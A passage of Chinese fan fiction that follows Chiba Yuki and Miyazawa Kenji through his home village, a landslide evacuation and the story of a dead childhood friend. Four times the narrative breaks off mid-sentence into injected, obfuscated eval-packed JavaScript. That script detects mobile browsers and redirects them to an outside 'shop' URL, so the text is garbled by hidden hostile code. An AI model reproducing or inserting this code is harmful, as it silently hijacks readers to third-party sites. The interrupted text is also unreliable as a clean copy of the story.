我托腮:“是谁栽的?这树苗可不好搞。”流苏树种子发芽率低,生长缓慢,因此树种珍贵,野生的几乎没有。看到小院中有这么一棵健康的流苏树,我还惊讶了一瞬。 “谁栽的?”他奇怪地重复了一遍我的问题,我说的话非常可笑,“没有人问过这个问题,它一直在这。” “这么漂亮的树种,肯定是人工移栽的啊。”而且,这么美的树,我怎么会是第一个询问来历的人呢。 他皱着眉头,苦恼地思考了一会,然后还是莫名地摇摇头:“如果一定要回答的话,我也不知道。” 这不是你的小院吗?看着他沉思的样子,我还是没有问出口,心中埋下一颗流苏种子。 我不再说话,闭上眼睛,吹着远处拂过的清风,在萦绕鼻尖的微微花香中昏昏欲睡。听树叶沙沙作响的低吟,远处山坡传来的几声牛羊的叫声,心中浮躁的想法逐渐被安抚。在身侧源源不断传过来的温热和少年稳健的心跳声中,渐渐陷入丰收颜色的梦乡。 乡下的平和氛围实在太适合睡觉了。不知过了多久,幽幽转醒的我想道。昨天陪孩子们疯玩一天都没有感到困意,回宿舍才想到休息。而今天刚到伊哈特伯村,吃完饭就坐在树底下睡着了,甚至离月姐她们铺好的床铺只有几步之遥。 转头看向花圃,贤治正在给花松土,鬓角几根金发被汗水打湿,顺着下颌低落到土里。 “贤治。”我揉揉眼,“你干了一中午吗……下午有什么安排?” “你醒了,佑木。”宫泽贤治欢快地把目光投向我,一分神,手里捏的一株鸢尾被他连根拔起。 我看着他手中蔫蔫的鸢尾,冒出冷汗。 “诶?”贤治疑惑地低头看看手里的这株倒霉花,提起来晃了晃,根上的泥土窸窸窣窣掉下来,好像能感受到花的无语。 “刚好,最后一株花也松完土了。”贤治很快地把这件事抛之脑后,两铲子把那株花埋到地里当肥料,轻松地起身拍拍手上的泥土:“我下午想去看看花子,你要去吗?” “当然要去,你的老朋友嘛。”我神清气爽地起身,跟着贤治出门。 宫泽贤治去学校前曾把花子寄养在隔壁大叔家里,带着我拐到他们家里,熟悉地喊一声“和田大叔——我来看看花子。” “哈哈,是贤治啊。嗯,还有小佑。”一个大叔牵着奶牛从后院走出来,朝我们打了个招呼。“花子就在这,你们去玩吧。” …… 半小时后,我随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13267264|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地盘腿坐在青草地上,看着趴在花子身上陶醉的贤治陷入了沉思。 话说回来……第一次用“坨”来形容一头牛。这都肥成牛饼了——和田大叔真的没有用超大号奶牛纹煤气罐冒充花子吗? “花子……我好想你……”贤治和花子卧在一起,花子也把头靠过来,亲昵地蹭蹭贤治。我看着幸福地冒着粉红色泡泡的一牛一人失笑,慢慢呼出一口浊气,也躺倒在柔软的草丛里。 这边的天的确比横滨、千叶的天更蓝,看着一团团白云慢吞吞挪动,有种山头在漂移的错觉。 “佑木,你要摸摸花子吗?”贤治热情地发出邀请。 我思考一会,犹犹豫豫地蹭到花子身边,和它水润的大眼睛对视一分钟:“……” 近距离观察更像超大号煤气罐了!嗯……贸然伸手会不会被顶啊,近看好大一只,心里居然有点犯怵。 “你看出什么了?”贤治忍不住好奇地问。 “在意念交流啦。”我嘀嘀咕咕地说,谨慎地凑近花子耳朵旁:“你好啊,花子。”说得小心翼翼,生怕花子给我一蹄子。 花子毛茸茸的耳朵动了动,猛地扇了一下。我躲闪不及,猝不及防挨了一下。 我捂着下巴懵了一会:“……我、我被花子……用耳朵扇了一巴掌?” 贤治再也忍不住,抱着肚子大笑起来:“哈哈哈哈哈——花子肯定不是故意的哈哈哈……” 在少年爽朗又有点魔性地笑声中,我陷入了自闭。可恶……区区煤气罐、居然敢打我千叶佑木…… 这样忿忿地想着,突然脖子传来茸茸的触感,蹭得我有些痒。我微微后仰,那个奶牛色的煤气罐又蹭了上来,用濡湿的鼻子轻轻碰着我,似乎在宽慰我,呼出的温热气体让我忍不住笑出声。 “呵呵……乖花子……哈哈哈!好痒!” 宫泽贤治托腮:“佑木,你下巴还好吗?” “没事啦,肯定是花子觉得痒才动耳朵,一点也不疼!”我沉醉在和花子贴贴的幸福中,乐呵呵地说。 宫泽贤治挠挠脸偷偷笑出声,而我完全没有发觉。他朝花子俏皮地眨眨眼。 花子后退一步,在我不解的目光中突然上前拱我的腰,我惊叫一声眼前一转,已经侧坐在牛背上了。 “咦?花子,你想驮佑木走一走吗?”宫泽贤治也跟着站起来。 花子绵长地“哞”了一声,慢吞吞走了一步,牛背上一步三晃,我赶忙搂紧了牛脖子,半趴在花子身上。就这样颠簸着被它驮着走。 贤治双手抱头,轻松地跟在花子身侧,看着不远处宁静的村落,嘴角又勾起似有若无的笑意。 我好奇地抠抠花子背上黑色图案边缘的毛,突然花子踩到一块石头,猛地颠了一下。我被颠飞起来,刚惊叫一声,花子下一秒又稳稳地接住我。 宫泽贤治听到我的惊叫,慢半拍地回头:“怎么了?” 我安分地坐在花子背上,安静如鸡:“……没事。” 33.行至伊哈特伯(三) 天色渐暗,我、贤治和花子慢慢走上回村的小路。 晚风吹过来,四处又没有人。两人一牛走在乡间夜路上,总感到有些阴森。 我打了个寒噤:“话说……这可是岩手县……” “怎么了?” 我偷偷瞄了一眼旁边的池塘:“不会有河童什么的吧……” “从来没见过。”贤治好奇地继续问:“河童和岩手有什么关系吗?” “传说中岩手可是河童最常出现的地方。”我搬出记忆中听到的一些志怪故事:“岩手一带曾经住着恶鬼,后来神明击退恶鬼,让恶鬼在岩石上按下手印,此后再不来侵扰这片土地——嗯,这就是‘岩手’名字由来。” “原来是这样。”宫泽贤治仔细思考一下,随后给我一个“放心”的眼神,说:“这边从没见过河童。就算有也不用怕,村民们会把河童抓起来的。” 我才不信普通的村民们有这个胆量呢,但还是忍不住接着问:“抓到了怎么处理?” “用绳子捆起来从悬崖上扔下去~”宫泽贤治单纯地回答。其语气平常到就像在讨论晚饭吃什么——不,他还会为了吃什么而纠结一下,这话说的没有一点犹豫啊! 就,怎么说,河童君,听到就快跑吧。 我胡乱想着,突然看见远处一个黑影朝我们掠来。 我:!!! “贤治!”我指着不远处的异常,有些慌张地问:“那是什么?!” “啊,河童吧——” 没听说过有会飞的河童啊?? 想到民间传闻中鸟喙、蛙肢、猴身龟壳的可怕怪物,我搂住花子,把眼睛紧紧闭上,我才不想看见这么恶心的怪物啊—— 有扑腾翅膀的声音。扇起的风把我汗涔涔的刘海吹起,耳畔传来少年的轻笑,嗓音极其温柔。 “好久不见,小山。” 嗯? 我颤颤巍巍地睁开眼,金发少年熟稔地轻抚着立在肩头的夜鹰,一双至纯之人才拥有的纯粹眼睛此时带着笑意望我。 “不用害怕,佑木。小山是一只好鸟。” 我沉默。 “河童?” 他有些无辜地说:“我一开始没认出来……等等、等等佑木!的确是认出来一点吧——”” “贤治——!!” 山谷里惊走一群飞鸟。 天色已经黑了,我好奇地看着他肩头大眼睛鸟。只是仔细看了两眼我就立马把头移开了——天色比较暗,之前大致看了一眼还以为是夜鹰,现在凑近仔细一琢磨,那棕灰色横斑……分明是松雀鹰啊。 松雀鹰,不是松雀,也不是雀鹰……是、松雀鹰。 ……开玩笑啊!夜鹰虽然有个“鹰”字,却不算鹰,而是温和的农林益鸟,只吃小昆虫;松雀鹰可是有名的森林猛禽,常驯为猎鹰。 想到这,我又觉得一开始的误判情有可原,长得差不多的情况下,谁会觉得朋友肩膀上捏圆搓扁的毛茸茸是猛禽松雀鹰啊。 看着乖巧如家雀的小山君,我由衷感慨:“你的宠物真听你的话啊。”无论是温和的花子,还是乖巧的小山。 “宠物?”他侧目,微哂:“它们不是宠物。” “嗯?可是它们很听话。” “我们是朋友。”宫泽贤治再次强调,“花子和我从小长大,小山在我放牛时偶尔造访。” “大自然中没有任何隶属关系,任何生物都归属于本我。” 他的视线越过我看向山林,似乎在透过远山俯瞰另一头的喧嚣。嗓音极淡:“妄图征服自然的生物,只会受到大自然降下的惩罚。” 我坐在晃晃悠悠的牛背上,带着几分倦意看他认真的侧脸。我严肃地说:“说得好,贤治。但我要告诉你另一件事。” “什么?” “看到前面那片灌木丛了吗?拨开它。” 宫泽贤治顺从地走过去,伸手拨了一下。被惊扰的萤火虫成片地飞起,哗啦啦地把宫泽贤治的面庞照亮。 “看——自由的萤火虫哦,哈哈!”刚刚就在灌木丛中发现端倪的我得意地说道。被无数微光照亮的宫泽贤治回头看我,他的脸庞被照耀得柔和。 “心情有好点吗?”我笑嘻嘻地问。贤治看起来在发光呢。 被萤火虫猝不及防扑了一脸的宫泽贤治:“……” “谢谢你,佑木。但我没有不开心。”宫泽贤治认真地摇摇头。身边的少女像生来就有治愈能力,和她在一起时,从来没有不开心过。 如果我知道他心里的想法,肯定会扒着他大喊一声:你才是治愈系小天使啊! 但我不知道,此时安静地坐在牛背上,不时轻抚花子的脑袋,偶尔听到牛鼻喷气的声音,宫泽贤治与小山的轻语。夜间森林传来的动物声音倒是从未停过,微凉的晚风伴着植物的清香夹杂动物粪便的味道,河边频频有鱼跃出水面的“扑通”声,只是不再害怕会有河童出现。 萤火虫的一路指引下,我们走向回家的路。路的尽头是点着昏黄灯笼的小村庄。 那时的我们没有料到所谓大自然的惩罚会这么快降临。如果我在这个宁静的夜晚有雅兴赏月,就会看见深邃的夜空看不见一颗明星。 那是天灾的前兆。 要不然说贤治是人气王。第二天早上他就要去帮村民干活,闲来无事的我自然是一路跟着他乱转。 清晨贤治去山本奶奶家帮忙割猪草。我坐在小院里无聊逗奶奶家的鸡玩,暗中观察一只母鸡在草丛中下了个蛋,我跑过去捡蛋,还是温热的。早饭在山本奶奶家吃的,我看着碗里的鸡蛋陷入沉思。 上午石田大叔喊贤治过去帮忙修沟渠。贤治挥舞着铲子,在水道中清理淤泥,两小时下来完全不见一点疲惫。我在不远处的地里观察农作物,旁边居然还有一片向日葵。往日照片里萌萌的向日葵实际居然这么大,我需要仰头才能看到比我脸盘子还大的向日葵,有点起鸡皮疙瘩。 返程时看见平野哥在田里耕地,宫泽贤治欢快地跑去帮忙。我坐在田埂上无聊地看着两个快乐耕地的身影,想不通这么累的活为什么两个人都跟打鸡血一样。路过的月姐怕我晒伤,把我拉到家里休息。无聊中给月姐、花嫂、小葵妹妹各编了一个花环,把她们都挨个逗笑后终于等到归来的贤治。 后来我和贤治盘腿坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281904|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山中一处绿荫下编草帽。月姐递过来一篮麦秸秆时,我不可置信地看着她,在我浅薄的乡下知识储备库中这种东西只能用来焚烧,贤治却说可以编织草帽。 到底是在山林中,安静编了一会就有小动物过来骚扰。我拧了好几根七股辫,还是忍不住和小动物互动。我盯着跑过来的小刺猬:“贤治,能摸吗?” 贤治凑过来看了一眼,确认刺猬处于放松状态后又坐了回去,手下不停:“可以的。” 我小心翼翼挠了挠小刺猬,抬头又看见枝头一只松鼠毛茸茸的尾巴。 我猫猫祟祟地想去摸一把尾巴,松鼠灵敏地把尾巴一摆,轻盈地跃到另一根枝头。我以为没戏了,有些失落地收回手,却见它站在不远处枝头上,好奇地看着我。 我:……可恶,这不是在勾引我吗? “贤治,能过去看看吗?”我看着地上一根编了一半的七股辫,有些心虚。 他思考一下,我以为贤治在为难,毕竟我是来帮忙编草帽的。刚想找台阶下,他却唤了一声:“小山。” 我偏了偏头,随即右肩一沉,小山已经立在我的肩头。 “山林容易迷路,让小山陪着你吧。”宫泽贤治满意地看着我和小山的组合,原来刚刚实在考虑我的安全。 肩旁立着猛禽让我略有不适,但它好像知道我有些害怕,此时乖乖地在我肩上当装饰,锐利的鹰爪乖巧地收好,没有伤到我分毫。 我愉快地朝贤治挥挥手:“那小山,我们走吧。” 不知不觉跟着松鼠走到了远处,我如愿撸到了松鼠,满足地挠挠它的下巴,无意间抬头,呆了。 鹿……? !!鹿诶。 我惊呆了,松鼠跑了都没注意,小心地站起来,那头小鹿没有被惊走,在原地默默观察着我。 我耐心等了一会,它慢慢凑近,闻了闻我,我耐不住轻轻抬手想要摸摸它的角,就在此时,它猛然扭头想要用角顶我。 我心中一沉,人哪有鹿灵巧,此时已经躲不开了,只能眼睁睁看着这尖锐的鹿角冲向我。 “啁——!” 小山突然发难,急促又尖锐的声音像是进攻前的警告。小鹿吓得后退了一步,在小山锐利的目光下慢慢低下了头。 小山:哎,这不省心孩子。 感受着肩上的小山心情慢慢平复,我试探地摸摸小鹿的头。它乖巧地任我抚摸,和刚刚想用角顶我的高冷生物判若两鹿。 撸完心心念念的小鹿,我心满意足地准备回去找贤治。但是来时的路已经分不清方向了,我丝毫不慌,笑嘻嘻唤了一声:“小山君~” 小山无奈地扑腾了两下翅膀,飞到山林上方盘旋,指引着方向。时不时飞下来威慑一下附近的生物,确保我不会受伤后继续引路。 走了一会,我看不见小山的身影了,四顾一会心下了然,拨开面前的树丛,贤治收拾着已经编好的三四只草帽,坐在石头上等我,身边是巍然屹立的小山。 “回家了,佑木。”宫泽贤治没有怪我跑那么远,或者说根本没放在心上。而是自然地朝我笑笑。 我报以发自内心的灿烂笑容。 34.行至伊哈特伯(四) 到月姐家把草帽交差后,如愿蹭了一顿饭。我和贤治心满意足地回到小屋,不消多说,我自然地收拾起行李:“下午走?” “嗯,走之前先要和乡亲们告别一下。” 我比了个“OK”的手势。本来带的东西就不多,我收拾完后难得睡了个午觉。这一觉睡得格外安稳,醒来才发现原来是有雨声加持。 下雨了。我一边扎头发一边看着窗外不算大的雨点,还是把头发握着出房间问:“下雨了,能走吗?” “没问题,这点雨不算什么。”宫泽贤治安抚道。我却见他眉宇间有隐隐的不安。 雨下了整整半天,没有停的趋势,而是越下越大。连小山都在宫泽贤治的小屋里暂时避雨。我坐在屋子门槛上托腮看院子里的水坑,花圃的鲜花在雨中零落,左右攲斜。我发誓从来没见过这么大的雨,看着远处山上一块块马蹄状地形,我感觉心里闷沉沉的。嗯,虽然雨下的很爽,但毕竟耽误我回学校了,当然会不安啦。我安慰自己。 “雨可真大。”我用胳膊肘戳戳旁边的宫泽贤治,百无聊赖地说:“现在肯定走不了了吧?” 宫泽贤治居然难得地安静下来,坐在我旁边一起看这雨。我有些不习惯一言不发的贤治,主动发话希望他说些什么。 “……贤治。”我顺着他凝滞的视线,才发现他不是在看雨,而是望着流苏树发呆。摇曳的花枝好像把他的思绪带到远处,往日开朗的贤治有些心神不宁。 “……雨天赶路确实不方便。”他慢吞吞说,“明早雨就会停吧。”他的目光没有离开流苏树。 “特别是这么大的雨。”我补充,“老实说,这雨点感觉可以砸死我。” 宫泽贤治被我夸张的说法逗笑了。 听见少年的笑声,我的心情终于轻松起来。但样的心情只维持了一瞬,下一秒我的眼睛突然睁大,指着远处,在极度恐惧的情况下只能发出哑声的呼唤:“贤治——” “怎么了?” 他顺着我的目光看向远方,震惊地站起身! 不远处马蹄状山坡的前缘,就在刚刚裂开一条缝隙。远山从身上撕下一块血淋淋的残躯,那伤口缓缓扩大。在目睹全程的我眼中,宛若慢慢睁开的深渊之眼。 ——“要山体滑坡/走山了!” 我和贤治同时出声。 我们对视一眼,从对方眼里看到了震惊和凝重。 那威严的高山,此时在我们眼里宛如逼近的死神。 “小山!”贤治转头早就冲严阵以待的小山吼道。它低吟一声作为回应,接着如箭矢一般飞了出去,深棕色的身影掠过每家每户,发出尖利的嘶吼。 好的是雨天的农民都待在屋子里,暴雨天仍在村庄上方盘旋的猛禽显然引起了大多数村民的注意,不少人认出了那是宫泽贤治身边的鸟,都若有所感地从床榻座椅中起身。 在这期间,宫泽贤治迅速从家里翻出来一套蓑衣和长柄油布伞。不熟悉蓑衣的我穿起来太浪费时间了,我果断抓起油布伞。 宫泽贤治丝毫不耽误,十几秒就套好了蓑衣,一边奔跑出门一边快速安排好我的去向:“我去通知村民撤离,你在家等着,一会和月姐她们一起走!” 我没有理会他的嘱托,撑起油布伞也跟着扎进雨幕:“你一个人太慢了,我东你西,路口汇合。” 不同于以往随和宽容的性格,宫泽贤治脸上浮现起惊怒,伸出手想要拦住我:“太危险了……” “别浪费时间!”我拔高声音,“啪”地打掉他阻拦的手。也许是我不容置喙的语气镇住了贤治,他没有再阻拦。我匆匆扔下一句:“注意安全。”踏着泥泞奔向东边人家。 宫泽贤治咬牙,看着同伴疾驰远去的娇小身影,心中的恐慌升到顶峰。他压下心中的担忧,努力控制住不正常的心率,把斗笠狠狠地扣到头上,抬脚跑向西边,心里想着:这句话应该我和你说。 “要走山了——”伊哈特伯村的人都没有闩门的习惯,我一脚踹开一户人家的大门,对着听见动静从屋里走出来查看情况的人高声喊道:“收拾好必需品,从南边路撤退!”来不及等来者的回应,我深吸一口气很快奔向下一家。 就这样一家一家地推门,喊话,再跑到下一家,狂风暴雨噼里啪啦地砸到伞上,而我的裤腿已经湿了,上衣也湿的差不多。在暴风雨中打伞的阻力很大,我顶着狂风艰难地前行,不止一次想要扔下伞,但想到湿着衣服跑起来更沉重,我还是咬牙顶着伞跑向下一家。 之前总以为伊哈特伯村不大,只有挨家挨户跑过去才知道其规模。视线范围内全是倾盆的雨水,朝南边眺望能隐约看见驱赶着牛羊的人家艰难前行着。还没有通知到的几户人家已经听到动静了,几次推开门都看见主人家已经收拾完东西准备撤离,还问我要不要跟着走,我连连摆手。虽然大部分人家已经撤离,却难保后面几家没有听到消息,保险起见我还是继续朝东边跑。 不出所料东边的人家已经全部撤离了。 任务完成。望着南方,各家各户已在村长的安排下形成队伍,井然有序地走向远方,尽头的人已经消失在蒙蒙雨雾中,乱中有序的撤离图景和我耳旁嘈杂的雨声形成对比。我终于放下心来,提着的一口气缓缓吐出,一下就感到体力不支。 山间路滑,正原路返回朝南边奔去,突然一脚踏到坑里,下一秒狠狠摔进泥坑。 膝盖磕到碎石上,传来剧烈的痛感,不消低头检查都知道有多严重,随手抹了一把,却不知道粘稠的触感是泥泞还是血。油布伞在慌乱中扔到旁边,直接被狂风带走了,噼里啪啦的雨点打到我身上,连眼睛都几乎睁不开,我一时半会甚至爬不起来。 我不敢耽误,扑腾两下勉强从泥坑里站起来,一瘸一拐地继续赶路。但膝盖的伤口太严重,强行走了十几米,就动弹不了。也许是雨势太大,我竟然有种窒息的感觉。 怎么办……山上已经有隆起的土块,不知道什么时候就会山体滑坡,而我在村庄最偏僻处,连路都走不了……村民都已经撤退,在此时,只有我一个人挣扎于此。 危难当前,唯有自救。我硬生生把眼眶里打转的泪水憋回去,狠狠地擦了把脸把喉咙发酸的感觉压下去,抬眼迅速观察四周,找到一处合适的掩体,扶着旁边被吹折的树木慢慢朝过移动。 腿伤严重,我实在难以逃过滑坡。只能出此下策,寻找掩体躲藏,等待雨停后的搜救。如果运气好的话……也许、 也许我还能走出伊哈特伯。 “啁——” 是小山!此声如同天籁,我猛然抬头看着发声处,深棕色猛禽在不远处盘旋,长啸一声刺入厚重的雨幕。 与此同时,在雨帘遮挡的数米之外,隐约看见一个金发少年朝我奔来。 “通知完西边的人家我就回到路口等佑木,但月姐说她一直没有看见你。村长说你一定跟着前面的队伍先走了,我不放心,让小山找了一下。”宫泽贤治一边背着我跑,一边解释。 我看上去十分狼狈,油布伞不知所踪,头发乱糟糟的,身上全是泥印子,简直像个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“伊哈特伯村的每一个人,死后都会埋在山里——”贤治没有停下飞奔的脚步,咬着牙回应我。 “但,至少不是今天。” “至少——不应死于绝望!” 他周身散发出骇人的气势,被他背着的我心尖一颤,不由的颤抖起来。狂风卷袭起他的金发,打在我脸上。他迎这暴雨仰头,朝空中吼道:“异能力——「无畏风雨」!” 耳边,传来地动山摇的声音,是山川的嘶吼,是村落的哀鸣,是如约而至的泥石流。我紧紧闭上眼睛,死亡的恐惧还是攫住心脏,令人呼吸困难。不知怎得,我想起院子里的流苏树,洁白无瑕,一尘不染。 等待许久,我微颤着睫毛睁开眼睛。 金发少年没有回头,背着我一往无前地朝南边奔去。暴雨仍在继续,而我身后,滔天的泥石流不可思议地平息了下来。石块断木等杂物不约而同停在身后,似乎前方有无形的壁垒阻碍它们前进。 此时,少年一脚踏过水坑,飞溅出的泥泞重新激起混浊的涟漪,我看见他飞快掠过我们的小屋,未曾分神一秒。那小院中的流苏树被暴雨打得凄惨无比,“六月雪”簌簌落下,弯下的枝头隐隐有折断的倾向。院中其他景象无法窥见,却也不得而知:被精心照顾的花圃一定被雨水冲得七零八落,菜园的各位也非死即伤。 我若有所感地触了触少年的面颊,匆忙中指尖只触摸到一片濡湿。我低声问:“你在哭吗,贤治?” “没有。” 传来少年沉闷的回应:“是雨水。” 雨停了。 满目疮痍的村庄残骸留在身后,我和贤治沿着南路,终于走出了伊哈特伯村。除了彼此,只有一只松雀鹰作陪。 35.行至伊哈特伯(四) “太危险了,小佑!”众多女性长辈围在身边,月姐拔高声音对我说,其激动的神情让我想起初次见面时在厨房咆哮的彪悍女声,忍不住缩了缩脖子。 “对不起……但当时情况危急。”我唯唯诺诺地捧着姜茶。 这是村庄撤离后的第二天。虽然有点不好意思,但事实的确是,多亏了我和贤治及时通知村民撤退,泥石流的爆发没有造成人员伤亡。沿着南路走到头是一片小镇,当地政府迅速给无处可去的村民安排了暂时的落脚点。而今早,按照计划本应已经到达横滨舒舒服服窝在宿舍睡懒觉的我,此时正在政府安排的旅馆中,蔫蔫地挨训。 “那也不应该由你来做!你应该听贤治的,跟着大家一起撤退,通知的事情有别人。”花嫂心有余悸地看着我双腿的划伤、淤青和虫咬的痕迹,膝盖处厚厚的纱布更是触目惊心。 “可是,”我挠挠头,“我们之中任何人遇到这种事,都会义无反顾站出来的。” 如果你身在异乡的第一天就被热情包围不知所措,如果你对农业爱莫能助仍被耐心纵容,如果有人在见到你的第一面就将你当做同村小孩……你会知道,所有勇气的源头。 我小声嘟囔的话让大家有些动容。 是的,伊哈特伯村的任何一位村民,都会在危机关头毫不犹豫地选择乡亲,且把自己的生死抛开不提。 但这句话由我说出口,会不会太自大了?久久得不到回应的我略感不安,头越来越低。真当我忍受不住沉默的氛围,想要开口岔开话题时,有人轻轻揉了揉我的头。动作轻柔、熟稔,仿佛曾经做过很多次这样的行为。 “你只是一个孩子。”月姐说,“如果你真的为了保护我们出了什么事,我们这些长辈情何以堪?” 我低下头:“对不起,让你们担心了……” “但我还是想,”月姐站了起来,朝我深深鞠一躬,“代表伊哈特伯村,谢谢你,小佑。” 其他人也起身,跟着月姐向我鞠躬。我避不开,急忙回了礼,有些局促地垂下眼眸,强装镇定:“没什么、真的没什么……” 白皙的耳垂已鲜红欲滴。 大家起了身,原本凝重的面色显得轻松许多,看见我通红着脸颊仍要强装镇定,不由捂着嘴窃笑起来。我把自己扔回床上,用枕头捂住头,嘴里仍在喃喃:“小事情,小事情哈哈……” 看着我试图用枕头闷死自己的幼稚行为,花嫂努着嘴朝其他妇人使眼色,眉飞色舞的间隙里,屋里充满了快活的气息。 “不过我们还挺幸运的。”理智恢复正常的我把枕头拿下抱在怀里,下巴搁在枕头上说 “哦?怎么说?”众人来了兴趣。 “当时泥石流都到身后了,我以为铁定死了哇。”我心有余悸地拍拍胸脯,“结果那些土块和石头停在后面,我和贤治捡回一条命——出村时雨也停了,我还以为那种级别的暴雨起码要下几天几夜呢。” 哎,不过停了也好。如果下几天的暴雨,估计这座小镇都待不下去,得再往南边撤。 闻言,花嫂不动声色地弯了弯眉,没有说话。大家相视一笑,好像有种不言而喻的默契。 “贤治说的话也很帅呢。他说——” “至少不该死于绝望。” 话音刚落,少年坚毅又挺拔的背影浮现在心中。不知为何,回忆中他的语气竟然有些悲怆。 此话如同禁言术,屋里瞬间鸦雀无声,有人脸上的笑容变淡,垂着眼眸不知道在想什么。我眨眨眼:“怎么了?” 我犹疑着去看月姐,只一眼我就愣住了。月姐不知何时换成了以手扶额的姿势,好像在隐藏眼底复杂情绪。 不帅吗? 也许是我的不知所措让众人醒神,花嫂轻抚身侧月姐的背部以示安慰,低声说道:“小佑还在呢。”花嫂抬眸安抚地看我一眼。 “月娘忘不了小春。”花嫂叹息着说,像是随口的感慨,又像在给我解释。月姐把脸埋在手心,掩饰着自己的失态,一言不发。 “谁?” “小春是月娘的女儿,贤治从小的玩伴。”花嫂用沉重的语气说道,“去年山里发洪水,附近的村庄都毁于走山。我们村庄却安稳无事。” “很多村民都说,是有什么东西改变了滑坡的方向,我们村才幸免于难。”花嫂复杂地看我一眼,似乎想到什么,又匆匆止住话头。“……就和你昨天的经历一样。” 我想了想,认可地点点头,昨天的滑坡确实诡异。 见我没有多余的反应,花嫂无奈地笑了笑,又很快收敛了笑意说:“只是小春……调皮跑到山里玩,刚好遇上变道的滑坡。” “贤治找到小春时,她被活埋在石头堆下。” 月姐深深吸了一口气,镇静地放下遮掩面部的手,看起来与平时温婉的样子别无两样——如果忽略眼角的微红。 我担忧地看着她一眼:“月姐?” 她摆了摆手:“都是过去的事了。” 只过去了一年而已,谈何放下呢。我心中叹息,说:“贤治很难过吧。”毕竟是他发现了青梅竹马的尸体。 “他昏迷了一周,醒来后和往常一样,只是失去了这段记忆。”月姐低沉的声音仿佛叹息,“他完全不记得小春这个人。” 我心中惊讶,“全都忘了?” 月姐点点头,接着说:“后来福泽先生找到了村里,我们也怕贤治留在村庄回忆起这件事。在村长的支持下,贤治跟着福泽先生去了城里读书。” “忘了也好。”月姐用理智的声音慢条斯理地说,“逝者如斯,沉溺于过去就不会有好的未来。” 我不知如何作答,让一位母亲说出这句话也太过残忍,但不可否认的是大家都很爱贤治。贤治就像大家的孩子,对所有人都热情,对任何人都喜爱,所以大家都希望他向前走,不被心魔缠身。 “天灾不可预测。”我喃喃。 谁能料到滑坡突然变道?虽然村庄的人们幸免于难,但年轻的女孩却死在乱石之下。 月姐不知又想到什么,轻哂没有回应,盯着窗外村庄的方向出神。 “所以,你要留下来帮忙?但是,没有通讯工具,需要我帮你请假。”我坐在床上,托腮看着宫泽贤治。 “嗯。庄稼都被冲垮了,我要帮忙重建。”宫泽贤治认真地思考。 我对他的选择并不惊讶,他毕竟伊哈特伯村长大的孩子,此时村里急需劳动力,这个怪力少年当然义不容辞。我问了一句:“明天就开学了,你准备请多久?” “三天。” 我点点头,在他感激的目光下给班主任种田老师打电话,不一会就接通了。 “种田老师,假期快乐。” “你也是,千叶同学。有什么事吗?” “老师,我和宫泽贤治想请三天假,从明天开始。” 宫泽贤治睁大眼睛看着我,不明白我为什么也要跟着请假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389479|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “开学就请假?” “是这样,我们长假回贤治的老家岩手县,这边昨夜下暴雨,这两天有山体滑坡的风险。而且……贤治的村庄被毁了,我们留下帮忙。”我简洁地介绍了一下情况。 “嗯……”电话那头的男声沉吟一瞬,“准假。一切注意安全 ” “谢谢老师。”我脆声答应。 电话挂断了,我一抬头,就看见贤治乖乖地坐在我旁边,安静地注视着我,若有所思的眼神好像发现了什么奇怪的现象。见我把注意力分过来,他张口问:“为什么要留下来呢,佑木?” “因为怕再发生山体滑坡啊。”我说。 贤治默默摇了摇头:“不会的。”没有人比他更了解气象。而且已经出了山,新干线车站离这里只有几公里,想回学校,气象还真不是问题。 我沉默了。 “既然如此,你下午就离开吧?” 我最后闷闷地说:“我想留下来帮忙。” “你……” 我郁闷地打断:“我知道我帮不上体力活。” “但你有没有想过,”我抬头看着他,“村民还需要其它帮助?” “你是说?” “市政府不久就会拨补偿款吧?”我敛眉沉思,“需要有人整理村民损失。” 宫泽贤治显然没想过这个问题,一下愣住了,发出短暂的音节:“哎?” “修葺费用、牲畜丢失情况、庄稼损失……这些东西,只能认字的人来做。” “我可以……” “我知道贤治你成绩很好。”我摇摇头,“但是,你要回村帮忙。况且,这类事情,你未必有我擅长。” 我还记得初次见到贤治时,他提到过入学前甚至对金钱没有概念,显然不适合做这个工作。况且看他刚刚反应,恐怕此前天灾都未收到过补偿款。被谁私吞的钱财凭借我的力量无力追究,但既然我还在,这次的补偿款必须明明白白要过来。 